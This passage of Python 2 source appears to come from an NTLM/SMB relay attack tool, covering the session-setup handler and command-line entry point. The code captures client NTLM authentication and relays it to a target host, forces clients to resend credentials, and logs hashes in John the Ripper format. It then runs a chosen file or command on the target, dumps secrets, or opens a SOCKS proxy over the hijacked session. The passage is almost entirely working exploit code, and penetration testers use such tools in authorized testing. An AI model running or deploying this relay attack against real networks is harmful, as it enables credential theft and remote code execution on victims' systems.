ATTACKED_HOSTS 811 if self.target in ATTACKED_HOSTS and self.one_shot is True: 812 logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % ( 813 connData['ClientIP'], self.target)) 814 packet = NewSMBPacket() 815 packet['Flags1'] = SMB.FLAGS1_REPLY 816 packet['Flags2'] = SMB.FLAGS2_NT_STATUS 817 packet['Command'] = recvPacket['Command'] 818 packet['Pid'] = recvPacket['Pid'] 819 packet['Tid'] = recvPacket['Tid'] 820 packet['Mid'] = recvPacket['Mid'] 821 packet['Uid'] = recvPacket['Uid'] 822 packet['Data'] = '\x00\x00\x00' 823 errorCode = STATUS_NOT_SUPPORTED 824 packet['ErrorCode'] = errorCode >> 16 825 packet['ErrorClass'] = errorCode & 0xff 826 827 return None, [packet], STATUS_NOT_SUPPORTED 828 829 # It might happen if the target connects back before a previous connection has finished, we might 830 # get to this function w/o having the dict and smbClient entry created, because a 831 # NEGOTIATE_CONNECTION was not needed 832 if smbData.has_key(self.target) is False: 833 smbData[self.target] = {} 834 smbClient = SMBClient(self.target) 835 smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) 836 smbClient.set_timeout(60) 837 smbData[self.target]['SMBClient'] = smbClient 838 839 smbClient = smbData[self.target]['SMBClient'] 840 clientChallengeMessage = smbClient.sendNegotiate(token) 841 challengeMessage = NTLMAuthChallenge() 842 challengeMessage.fromString(clientChallengeMessage) 843 ############################################################# 844 845 respToken = SPNEGO_NegTokenResp() 846 # accept-incomplete. We want more data 847 respToken['NegResult'] = '\x01' 848 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 849 850 respToken['ResponseToken'] = str(challengeMessage) 851 852 # Setting the packet to STATUS_MORE_PROCESSING 853 errorCode = STATUS_MORE_PROCESSING_REQUIRED 854 # Let's set up an UID for this connection and store it 855 # in the connection's data 856 # Picking a fixed value 857 # TODO: Manage more UIDs for the same session 858 connData['Uid'] = 10 859 # Let's store it in the connection data 860 connData['CHALLENGE_MESSAGE'] = challengeMessage 861 862 elif messageType == 0x03: 863 # AUTHENTICATE_MESSAGE, here we deal with authentication 864 865 ############################################################# 866 # SMBRelay: Ok, so now the have the Auth token, let's send it 867 # back to the target system and hope for the best. 868 smbClient = smbData[self.target]['SMBClient'] 869 authenticateMessage = NTLMAuthChallengeResponse() 870 authenticateMessage.fromString(token) 871 if authenticateMessage['user_name'] != '': 872 clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], 873 sessionSetupData['SecurityBlob']) 874 else: 875 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 876 errorCode = STATUS_ACCESS_DENIED 877 878 if errorCode != STATUS_SUCCESS: 879 # Let's return what the target returned, hope the client connects back again 880 packet = NewSMBPacket() 881 packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS 882 packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 883 packet['Command'] = recvPacket['Command'] 884 packet['Pid'] = recvPacket['Pid'] 885 packet['Tid'] = recvPacket['Tid'] 886 packet['Mid'] = recvPacket['Mid'] 887 packet['Uid'] = recvPacket['Uid'] 888 packet['Data'] = '\x00\x00\x00' 889 packet['ErrorCode'] = errorCode >> 16 890 packet['ErrorClass'] = errorCode & 0xff 891 # Reset the UID 892 smbClient.setUid(0) 893 logging.error("Authenticating against %s as %s\%s FAILED" % ( 894 self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) 895 # del (smbData[self.target]) 896 return None, [packet], errorCode 897 else: 898 # We have a session, create a thread and do whatever we want 899 logging.info("Authenticating against %s as %s\%s SUCCEED" % ( 900 self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) 901 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 902 authenticateMessage['user_name'], 903 authenticateMessage['domain_name'], 904 authenticateMessage['lanman'], authenticateMessage['ntlm']) 905 logging.info(ntlm_hash_data['hash_string']) 906 if self.server.getJTRdumpPath() != '': 907 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 908 self.server.getJTRdumpPath()) 909 910 # Target will be attacked, adding to the attacked set 911 # If the attack fails, the doAttack thread will be responsible of removing it from the set 912 ATTACKED_HOSTS.add(self.target) 913 if self.runSocks is True: 914 # Pass all the data to the socksplugins proxy 915 activeConnections.put((self.target, 445, authenticateMessage['user_name'], smbClient, connData)) 916 logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) 917 del (smbData[self.target]) 918 else: 919 del (smbData[self.target]) 920 clientThread = doAttack(smbClient,self.exeFile,self.command) 921 clientThread.start() 922 923 924 # Now continue with the server 925 ############################################################# 926 927 # Return status code of the authentication process. 928 errorCode = self.returnStatus 929 logging.info("Sending status code %s after authentication to %s" % ( 930 ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) 931 932 respToken = SPNEGO_NegTokenResp() 933 # accept-completed 934 respToken['NegResult'] = '\x00' 935 936 # Status SUCCESS 937 # Let's store it in the connection data 938 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 939 else: 940 raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 941 942 respParameters['SecurityBlobLength'] = len(respToken) 943 944 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 945 respData['SecurityBlob'] = respToken.getData() 946 947 else: 948 # Process Standard Security 949 respParameters = SMBSessionSetupAndXResponse_Parameters() 950 respData = SMBSessionSetupAndXResponse_Data() 951 sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) 952 sessionSetupData = SMBSessionSetupAndX_Data() 953 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 954 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 955 sessionSetupData.fromString(smbCommand['Data']) 956 connData['Capabilities'] = sessionSetupParameters['Capabilities'] 957 ############################################################# 958 # SMBRelay 959 smbClient = smbData[self.target]['SMBClient'] 960 if sessionSetupData['Account'] != '': 961 clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], 962 sessionSetupData['PrimaryDomain'], 963 sessionSetupData['AnsiPwd'], 964 sessionSetupData['UnicodePwd']) 965 else: 966 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 967 errorCode = STATUS_ACCESS_DENIED 968 969 if errorCode != STATUS_SUCCESS: 970 # Let's return what the target returned, hope the client connects back again 971 packet = NewSMBPacket() 972 packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS 973 packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 974 packet['Command'] = recvPacket['Command'] 975 packet['Pid'] = recvPacket['Pid'] 976 packet['Tid'] = recvPacket['Tid'] 977 packet['Mid'] = recvPacket['Mid'] 978 packet['Uid'] = recvPacket['Uid'] 979 packet['Data'] = '\x00\x00\x00' 980 packet['ErrorCode'] = errorCode >> 16 981 packet['ErrorClass'] = errorCode & 0xff 982 # Reset the UID 983 smbClient.setUid(0) 984 return None, [packet], errorCode 985 # Now continue with the server 986 else: 987 # We have a session, create a thread and do whatever we want 988 ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], 989 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 990 logging.info(ntlm_hash_data['hash_string']) 991 if self.server.getJTRdumpPath() != '': 992 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 993 self.server.getJTRdumpPath()) 994 # Target will be attacked, adding to the attacked set 995 # If the attack fails, the doAttack thread will be responsible of removing it from the set 996 ATTACKED_HOSTS.add(self.target) 997 if self.runSocks is True: 998 # Pass all the data to the socksplugins proxy 999 activeConnections.put((self.target, 445, smbClient, connData)) 1000 logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) 1001 # Remove the target server from our connection list, the work is done 1002 del (smbData[self.target]) 1003 else: 1004 # Remove the target server from our connection list, the work is done 1005 del (smbData[self.target]) 1006 clientThread = doAttack(smbClient, self.exeFile, self.command) 1007 clientThread.start() 1008 # Now continue with the server 1009 1010 1011 ############################################################# 1012 1013 # Do the verification here, for just now we grant access 1014 # TODO: Manage more UIDs for the same session 1015 errorCode = self.returnStatus 1016 logging.info("Sending status code %s after authentication to %s" % ( 1017 ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) 1018 connData['Uid'] = 10 1019 respParameters['Action'] = 0 1020 1021 respData['NativeOS'] = smbServer.getServerOS() 1022 respData['NativeLanMan'] = smbServer.getServerOS() 1023 respSMBCommand['Parameters'] = respParameters 1024 respSMBCommand['Data'] = respData 1025 1026 # From now on, the client can ask for other commands 1027 connData['Authenticated'] = True 1028 ############################################################# 1029 # SMBRelay 1030 smbServer.setConnectionData('SMBRelay', smbData) 1031 ############################################################# 1032 smbServer.setConnectionData(connId, connData) 1033 1034 return [respSMBCommand], None, errorCode 1035 1036 def _start(self): 1037 self.server.serve_forever() 1038 1039 def run(self): 1040 logging.info("Setting up SMB Server") 1041 self._start() 1042 1043 def setTargets(self, targets): 1044 self.target = targets 1045 1046 def setExeFile(self, filename): 1047 self.exeFile = filename 1048 1049 def setCommand(self, command): 1050 self.command = command 1051 1052 def setSocks(self, socks): 1053 self.runSocks = socks 1054 1055 def setReturnStatus(self, returnStatus): 1056 # Specifies return status after successful relayed authentication to return 1057 # to the connecting client. This comes useful when we don't want the connecting 1058 # client to store successful credentials in his memory. Valid statuses: 1059 # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, 1060 # which will make him store them accordingly. 1061 # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, 1062 # and got configured Remote UAC, thus preventing connection to ADMIN$ 1063 # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials 1064 # are invalid. 1065 self.returnStatus = { 1066 'success' : STATUS_SUCCESS, 1067 'denied' : STATUS_ACCESS_DENIED, 1068 'logon_failure' : STATUS_LOGON_FAILURE 1069 }[returnStatus.lower()] 1070 1071 def setMode(self,mode, one_shot): 1072 self.mode = mode 1073 self.one_shot = one_shot 1074 1075 def setDomainAccount( self, machineAccount, machineHashes, domainIp): 1076 self.machineAccount = machineAccount 1077 self.machineHashes = machineHashes 1078 self.domainIp = domainIp 1079 1080# Process command-line arguments. 1081if __name__ == '__main__': 1082 1083 RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) 1084 # Init the example's logger theme 1085 logger.init() 1086 print version.BANNER 1087 parser = argparse.ArgumentParser(add_help=False, 1088 description="For every connection received, this module will try to SMB relay that " 1089 " connection to the target system or the original client") 1090 parser.add_argument("--help", action="help", help='show this help message and exit') 1091 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 1092 parser.add_argument('-h', action='store', metavar='HOST', 1093 help='Host to relay the credentials to, if not it will relay it back to the client') 1094 parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', 1095 help='Status to return after client performed authentication. Default: "success".') 1096 parser.add_argument('-e', action='store', required=False, metavar='FILE', 1097 help='File to execute on the target system. If not specified, hashes will be dumped ' 1098 '(secretsdump.py must be in the same directory)') 1099 parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', 1100 help='Command to execute on target system. If not specified, hashes will be dumped ' 1101 '(secretsdump.py must be in the same directory)') 1102 parser.add_argument('-socks', action='store_true', default=False, 1103 help='Launch a SOCKS proxy for the connection relayed') 1104 parser.add_argument('-one-shot', action='store_true', default=False, 1105 help='After successful authentication, only execute the attack once for each target') 1106 parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 1107 '"%s"). If errors are detected, run chcp.com at the target, ' 1108 'map the result with ' 1109 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py ' 1110 'again with -codec and the corresponding codec ' % CODEC) 1111 parser.add_argument('-outputfile', action='store', 1112 help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') 1113 parser.add_argument('-machine-account', action='store', required=False, 1114 help='Domain machine account to use when interacting with the domain to grab a session key for ' 1115 'signing, format is domain/machine_name') 1116 parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", 1117 help='Domain machine hashes, format is LMHASH:NTHASH') 1118 parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') 1119 1120 try: 1121 options = parser.parse_args() 1122 except Exception, e: 1123 logging.error(str(e)) 1124 sys.exit(1) 1125 1126 if options.codec is not None: 1127 CODEC = options.codec 1128 1129 if options.debug is True: 1130 logging.getLogger().setLevel(logging.DEBUG) 1131 else: 1132 logging.getLogger().setLevel(logging.INFO) 1133 logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 1134 1135 1136 if options.h is not None: 1137 logging.info("Running in relay mode") 1138 mode = 'RELAY' 1139 targetSystem = options.h 1140 else: 1141 logging.info("Running in reflection mode") 1142 targetSystem = None 1143 mode = 'REFLECTION' 1144 1145 exeFile = options.e 1146 Command = options.c 1147 returnStatus = options.s 1148 1149 threads = set() 1150 1151 if options.socks is True: 1152 # Start a SOCKS proxy in the background 1153 s1 = SOCKS() 1154 socks_thread = Thread(target=s1.serve_forever) 1155 socks_thread.daemon = True 1156 socks_thread.start() 1157 threads.add(socks_thread) 1158 1159 for server in RELAY_SERVERS: 1160 s = server(options.outputfile) 1161 s.setTargets(targetSystem) 1162 s.setExeFile(exeFile) 1163 s.setCommand(Command) 1164 s.setSocks(options.socks) 1165 s.setReturnStatus(returnStatus) 1166 s.setMode(mode, options.one_shot) 1167 if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: 1168 s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) 1169 elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: 1170 logging.error("You must specify machine-account/hashes/domain all together!") 1171 sys.exit(1) 1172 1173 s.start() 1174 threads.add(s) 1175 1176 print "" 1177 logging.info("Servers started, waiting for connections") 1178 while True: 1179 try: 1180 sys.stdin.read() 1181 except KeyboardInterrupt: 1182 logging.info('Quitting.. please wait') 1183 if options.socks is True: 1184 s1.shutdown() 1185 for s in threads: 1186 del(s) 1187 sys.exit(1) 1188 else: 1189 pass 1190 1191